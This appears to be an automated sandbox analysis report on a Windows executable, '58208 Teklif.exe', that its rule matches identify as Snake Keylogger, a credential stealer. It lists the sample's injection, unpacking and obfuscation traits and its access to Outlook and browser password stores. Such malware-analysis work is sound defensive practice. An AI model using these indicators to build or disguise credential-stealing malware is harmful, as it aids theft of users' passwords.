Source: 58208 Teklif.exe, 00000000.00000000.1304898513.0000000000DCA000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameuVJY.exe, vs 58208 Teklif.exe
Source: 58208 Teklif.exe, 00000000.00000002.1322453048.0000000007D40000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs 58208 Teklif.exe
Source: 58208 Teklif.exe, 00000000.00000002.1317484204.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 58208 Teklif.exe
Source: 58208 Teklif.exe, 00000003.00000002.3765108626.0000000000DA7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs 58208 Teklif.exe
Source: 58208 Teklif.exe, 00000003.00000002.3764622818.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs 58208 Teklif.exe
Source: 58208 Teklif.exe	Binary or memory string: OriginalFilenameuVJY.exe, vs 58208 Teklif.exe

Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Section loaded: dpapi.dll	Jump to behavior

Source: 58208 Teklif.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.58208 Teklif.exe.445b6e0.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.58208 Teklif.exe.445b6e0.7.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.58208 Teklif.exe.445b6e0.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.58208 Teklif.exe.445b6e0.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 3.2.58208 Teklif.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 3.2.58208 Teklif.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 3.2.58208 Teklif.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 3.2.58208 Teklif.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.58208 Teklif.exe.447bf00.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.58208 Teklif.exe.447bf00.8.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.58208 Teklif.exe.447bf00.8.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.58208 Teklif.exe.447bf00.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.58208 Teklif.exe.447bf00.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.58208 Teklif.exe.447bf00.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.58208 Teklif.exe.447bf00.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 0.2.58208 Teklif.exe.445b6e0.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 0.2.58208 Teklif.exe.445b6e0.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 0.2.58208 Teklif.exe.445b6e0.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000003.00000002.3764622818.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000003.00000002.3764622818.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.1320427811.000000000438E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000000.00000002.1320427811.000000000438E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: 58208 Teklif.exe PID: 7436, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: 58208 Teklif.exe PID: 7436, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: 58208 Teklif.exe PID: 7580, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: 58208 Teklif.exe PID: 7580, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger

Source: 58208 Teklif.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.58208 Teklif.exe.447bf00.8.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.58208 Teklif.exe.447bf00.8.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.58208 Teklif.exe.447bf00.8.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.58208 Teklif.exe.447bf00.8.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.58208 Teklif.exe.445b6e0.7.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.58208 Teklif.exe.445b6e0.7.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.58208 Teklif.exe.445b6e0.7.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.58208 Teklif.exe.445b6e0.7.raw.unpack, --.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.58208 Teklif.exe.7d40000.11.raw.unpack, nYsJLGMJdGqdNxcgdO.cs	Security API names: _0020.SetAccessControl
Source: 0.2.58208 Teklif.exe.7d40000.11.raw.unpack, nYsJLGMJdGqdNxcgdO.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.58208 Teklif.exe.7d40000.11.raw.unpack, nYsJLGMJdGqdNxcgdO.cs	Security API names: _0020.AddAccessRule
Source: 0.2.58208 Teklif.exe.7d40000.11.raw.unpack, SfKvfedl6YqdMaJJcO.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: 0.2.58208 Teklif.exe.32328f4.3.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 0.2.58208 Teklif.exe.31e6318.4.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 0.2.58208 Teklif.exe.5ad0000.10.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 0.2.58208 Teklif.exe.31ee330.0.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@3/3

Source: C:\Users\user\Desktop\58208 Teklif.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\58208 Teklif.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\58208 Teklif.exe

Mutant created: NULL

Source: 58208 Teklif.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 58208 Teklif.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\58208 Teklif.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 58208 Teklif.exe, 00000003.00000002.3769706051.000000000314C000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.000000000315B000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3771367022.0000000003F70000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.000000000313D000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003182000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.000000000318F000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 58208 Teklif.exe	ReversingLabs: Detection: 52%
Source: 58208 Teklif.exe	Virustotal: Detection: 65%

Source: unknown	Process created: C:\Users\user\Desktop\58208 Teklif.exe "C:\Users\user\Desktop\58208 Teklif.exe"
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process created: C:\Users\user\Desktop\58208 Teklif.exe "C:\Users\user\Desktop\58208 Teklif.exe"
Source: C:\Users\user\Desktop\58208 Teklif.exe	Process created: C:\Users\user\Desktop\58208 Teklif.exe "C:\Users\user\Desktop\58208 Teklif.exe"	Jump to behavior

Source: C:\Users\user\Desktop\58208 Teklif.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\58208 Teklif.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\58208 Teklif.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: 58208 Teklif.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 58208 Teklif.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: 58208 Teklif.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: uVJY.pdb source: 58208 Teklif.exe
Source:	Binary string: uVJY.pdbSHA256N source: 58208 Teklif.exe

Data Obfuscation

.NET source code contains potential unpacker

Source: 58208 Teklif.exe, Form1.cs	.Net Code: InitializeComponent
Source: 0.2.58208 Teklif.exe.5910000.9.raw.unpack, nL.cs	.Net Code: sf
Source: 0.2.58208 Teklif.exe.5910000.9.raw.unpack, nL.cs	.Net Code: wb System.Reflection.Assembly.Load(byte[])
Source: 0.2.58208 Teklif.exe.31d4e7c.1.raw.unpack, nL.cs	.Net Code: sf
Source: 0.2.58208 Teklif.exe.31d4e7c.1.raw.unpack, nL.cs	.Net Code: wb System.Reflection.Assembly.Load(byte[])
Source: 0.2.58208 Teklif.exe.7d40000.11.raw.unpack, nYsJLGMJdGqdNxcgdO.cs	.Net Code: qlBVMDuy4O System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 0_2_0155F0E8 push esp; iretd	0_2_0155F0E9
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 0_2_01555DCA pushad ; iretd	0_2_01555DD9
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 0_2_07792533 pushad ; retf	0_2_07792534
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_01419770 push esp; ret	3_2_01419771
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_05A9CE01 push ds; retn 0006h	3_2_05A9CE02
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD3675 push es; iretd	3_2_06BD367C
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BDF759 push es; ret	3_2_06BDF888
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD2471 pushad ; retn 0006h	3_2_06BD2472
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD9045 push es; ret	3_2_06BD904C
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BD29AE push FFFFFF8Bh; ret	3_2_06BD29B0
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BFC561 pushad ; ret	3_2_06BFC562
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BF62FB push ss; ret	3_2_06BF6302
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BFACBB push ebp; ret	3_2_06BFAF12
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BFAAA9 push ecx; ret	3_2_06BFAAAA
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BFAADB push ecx; ret	3_2_06BFAAE2
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BFAAD9 push ecx; ret	3_2_06BFAADA
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BFAB98 push ebx; ret	3_2_06BFAB9A
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BFA918 push eax; ret	3_2_06BFA91A
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BFA97F push ecx; ret	3_2_06BFA992
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BF7081 push ds; ret	3_2_06BF7082
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BF70C8 push ds; ret	3_2_06BF70CA
Source: C:\Users\user\Desktop\58208 Teklif.exe	Code function: 3_2_06BF7133 push ds; ret	3_2_06BF713A

Source: 58208 Teklif.exe

Static PE information: section name: .text entropy: 7.939659429835133

Source: 0.2.58208 Teklif.exe.7d40000.11.raw.unpack, ov3UajLBVQs6ILc8yA.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'i0JnWyw5xe', 'MOxnJGogIN', 'xZFnz14FVB', 'oZQP4VsIre', 'SMaPbKk73w', 'bMlPnyjxBX', 'lxoPPcdbic', 'c6CLgUPAx8m36WCR7w8'
Source: 0.2.58208 Teklif.exe.7d40000.11.raw.unpack, YG1e6VBcKiUT8HVni8.cs	High entropy of concatenated method names: 'j6iMnrrXo', 'p8ds4yImq', 'md4Tavpur', 'G20iSVZgT', 'aahFPi9UW', 'CiECtA727', 'tUybNKNfTqdYoZ0tr2', 'MajRD6hbDtFIGdx9f0', 'nmkR6t3Zo', 'Vt3Ko8yQC'
Source: 0.2.58208 Teklif.exe.7d40000.11.raw.unpack, nYsJLGMJdGqdNxcgdO.cs	High entropy of concatenated method names: 'oZfPIEUDZm', 'AbEPpw7T7s', 'YquP6A5eoQ', 'FxdPdpMnpU', 'zR4Pw3nAjS', 'ly9PkUs6tT', 'fOUP1VFniU', 'IXdPgIxxc1', 'tLLPlLldYK', 'zESPQW0bKW'
Source: 0.2.58208 Teklif.exe.7d40000.11.raw.unpack, y8PW6obPExJQorPGBu.cs	High entropy of concatenated method names: 'PUv1peWQM3', 'ub41douQnv', 'Ida1kaGgVt', 'SIokJxddqo', 'TE8kzuUthS', 'LAV149d5sa', 'zVR1bWanxW', 'YAa1nQJA0V', 'sMJ1PSH4B3', 'pTe1V24RKv'
Source: 0.2.58208 Teklif.exe.7d40000.11.raw.unpack, FA8yIwaG2xHBjFO0PN.cs	High entropy of concatenated method names: 'Fc4RptwFhS', 'EVeR6UM9dl', 'lubRdrtiZe', 'wbCRwOgFgv', 'PRgRkHXP7O', 'L6hR1IQEB6', 'eB3Rgpd9P4', 'qhPRlHixdi', 'S4VRQK0INL', 'VgpRt0DtLp'
Source: 0.2.58208 Teklif.exe.7d40000.11.raw.unpack, SfKvfedl6YqdMaJJcO.cs	High entropy of concatenated method names: 'nnk6ogfMHI', 'WZI6SYuk2O', 'Aay6LotdmM', 'Lwo6qKRoVU', 'fRI6rQrFyJ', 'ASX6YJvp0C', 'GQa6NDXtmw', 'JqQ691veVc', 'AbF6WkBRpW', 'jr06JsKhRu'
Source: 0.2.58208 Teklif.exe.7d40000.11.raw.unpack, Mbac2TE9ygslISwFbl.cs	High entropy of concatenated method names: 'zTgRx5wWxo', 'xoiRuWHeOO', 'PC8Rm8EAhJ', 'B6DRabpI8L', 'niDRolSpvh', 'a35RAGoSbP', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.58208 Teklif.exe.7d40000.11.raw.unpack, Nkn6l0K9M4ISy88b1R.cs	High entropy of concatenated method names: 're0dsqsuDH', 'XDIdTY5Jj5', 'hY8dekdd4V', 'QnBdFxerfv', 'agMd5cRdaU', 'nrxdhHsXBB', 'yI4dfZn2nB', 'JCDdRNs8mu', 'cvCdjBIYxS', 'pI0dKCocR3'
Source: 0.2.58208 Teklif.exe.7d40000.11.raw.unpack, mXyo9lc8mMDVspYqnf.cs	High entropy of concatenated method names: 'IGIf90u4nf', 'ExBfJeX3uM', 'DNyR4dJT2X', 'mgURbnNDK3', 'CCRfHahUry', 'jcjf7DgH0d', 'bHBfDsixjo', 'TDYfov7js9', 'LxMfSha9HS', 'YxIfL0IDco'
Source: 0.2.58208 Teklif.exe.7d40000.11.raw.unpack, B7MMIpTyXcBbeAMFnb.cs	High entropy of concatenated method names: 'Dispose', 'FQ4bWhVLQf', 'o8nnu9SeZV', 'RC388QtlOR', 'YPxbJoOXfX', 'WOmbzPxvcR', 'ProcessDialogKey', 'WSOn48lJPN', 'mNNnb0uFtA', 'YS2nnCABuy'
Source: 0.2.58208 Teklif.exe.7d40000.11.raw.unpack, oWVvW42EmpKy9BSgWw.cs	High entropy of concatenated method names: 'NdLce7BXFC', 'e0ccFG8oVR', 'gFicx0QBGB', 'a51cuM9OqG', 'MOCcajCCFG', 'ppscACJM34', 'JqIc26OlCA', 'K53cBAuR6K', 'wCVcO9SIUg', 'XLfcH1AifM'
Source: 0.2.58208 Teklif.exe.7d40000.11.raw.unpack, HvXS97UUa7qseCLu3gf.cs	High entropy of concatenated method names: 'ToString', 'EviKPn2vUo', 'NCmKVogdD4', 'aaOKIVTQ7p', 'yOsKpDSybS', 'aNsK6rbikR', 'SqqKdFojKR', 'ekOKwmwUGa', 'uXZ9jgAmpRMMPRXwgKT', 'DJtlJLAUmkqHGEHRhG7'
